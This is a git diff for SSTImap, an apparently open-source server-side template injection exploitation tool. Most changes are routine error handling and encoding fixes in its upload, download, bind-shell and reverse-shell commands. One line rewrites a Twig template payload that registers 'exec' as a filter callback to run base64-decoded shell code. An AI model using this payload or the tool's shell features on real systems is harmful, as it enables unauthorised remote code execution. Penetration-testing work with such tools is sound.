diff --git a/README.md b/README.md index f5acd06..e63fa97 100644 --- a/README.md +++ b/README.md @@ -267,6 +267,9 @@ If you plan to contribute something big from this list, inform me to avoid worki - [ ] JSON/plaintext API modes for scripting integrations? - [ ] Argument to remove escape codes? - [ ] Spider/crawler automation +- [ ] Better integration for Python scripts +- [ ] More POST data types support +- [ ] Payload processing scripts [1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html [2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/ diff --git a/core/checks.py b/core/checks.py index aab6fa2..f35ac04 100644 --- a/core/checks.py +++ b/core/checks.py @@ -192,9 +192,12 @@ def check_template_injection(channel): if local_remote_paths: if channel.data.get('write'): local_path, remote_path = local_remote_paths - with open(local_path, 'rb') as f: - data = f.read() - current_plugin.write(data, remote_path) + try: + with open(local_path, 'rb') as f: + data = f.read() + current_plugin.write(data, remote_path) + except FileNotFoundError: + log.log(25, f'Local file not found: {local_path}') else: log.log(22, 'No file upload capabilities have been detected on the target') # Perform file read diff --git a/core/interactive.py b/core/interactive.py index 7559794..b6d280a 100644 --- a/core/interactive.py +++ b/core/interactive.py @@ -499,6 +499,9 @@ def do_bind_shell(self, line): try: telnetlib.Telnet(url.hostname.decode(), port, timeout=5).interact() return + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting bind shell') except Exception as e: log.debug(f"Error connecting to {url.hostname}:{port} {e}") else: @@ -522,6 +525,9 @@ def do_reverse_shell(self, line): self.current_plugin.reverse_shell(host, port) try: TcpServer(int(port), timeout) + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting reverse shell') except socket.timeout: log.log(22, f"No incoming TCP shells after {timeout}s, quitting.") else: @@ -549,9 +555,14 @@ def do_upload(self, line): return if self.channel.data.get('write'): local_path, remote_path = paths - with open(local_path, 'rb') as f: - data = f.read() - self.current_plugin.write(data, remote_path) + try: + with open(local_path, 'rb') as f: + data = f.read() + self.current_plugin.write(data, remote_path) + except FileNotFoundError: + log.log(25, f'Local file not found: {local_path}') + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting file upload') else: log.log(22, 'No file upload capabilities have been detected on the target') @@ -566,9 +577,12 @@ def do_download(self, line): return if self.channel.data.get('read'): remote_path, local_path = paths - content = self.current_plugin.read(remote_path) - with open(local_path, 'wb') as f: - f.write(content) + try: + content = self.current_plugin.read(remote_path) + with open(local_path, 'wb') as f: + f.write(content) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting file download') else: log.log(22, 'No file download capabilities have been detected on the target') diff --git a/core/tcpserver.py b/core/tcpserver.py index edf32c5..423f7ab 100644 --- a/core/tcpserver.py +++ b/core/tcpserver.py @@ -51,7 +51,7 @@ def forward_data(self): buffer = self.socket.recv(100) while buffer != '': self.socket_state = True - sys.stdout.write(buffer) + sys.stdout.write(buffer.decode()) sys.stdout.flush() buffer = self.socket.recv(100) if buffer == '': @@ -65,5 +65,5 @@ def forward_data(self): c = sys.stdin.read(1) if c == '': return - if self.socket.sendall(c) is not None: + if self.socket.sendall(c.encode()) is not None: return diff --git a/plugins/engines/twig.py b/plugins/engines/twig.py index ad6ad4d..48917db 100644 --- a/plugins/engines/twig.py +++ b/plugins/engines/twig.py @@ -11,12 +11,12 @@ def init(self): # allowed. For this reason, most of the stuff is done by exec() instead of eval()-like code. self.update_actions({ 'render': { - 'render': '{{{{{code}}}}}', + 'render': '{code}', 'header': '{{{{{header}}}}}', 'trailer': '{{{{{trailer}}}}}', # {{7*'7'}} and a{#b#}c work in freemarker as well # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well - 'test_render': f'"{rand.randstrings[0]}\n"|nl2br', + 'test_render': f'{{{{"{rand.randstrings[0]}\n"|nl2br}}}}', 'test_render_expected': f'{rand.randstrings[0]}
' }, 'write': { @@ -33,7 +33,7 @@ def init(self): }, 'execute': { 'call': 'render', - 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}'")""", + 'execute': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}'")}}}}""", 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), 'test_cmd_expected': rand.randstrings[2] }, diff --git a/sstimap.py b/sstimap.py old mode 100644 new mode 100755 index 8f6c694..67fe85b --- a/sstimap.py +++ b/sstimap.py @@ -7,7 +7,7 @@ from utils.loggers import log import traceback -version = '1.0.1' +version = '1.0.2' def main():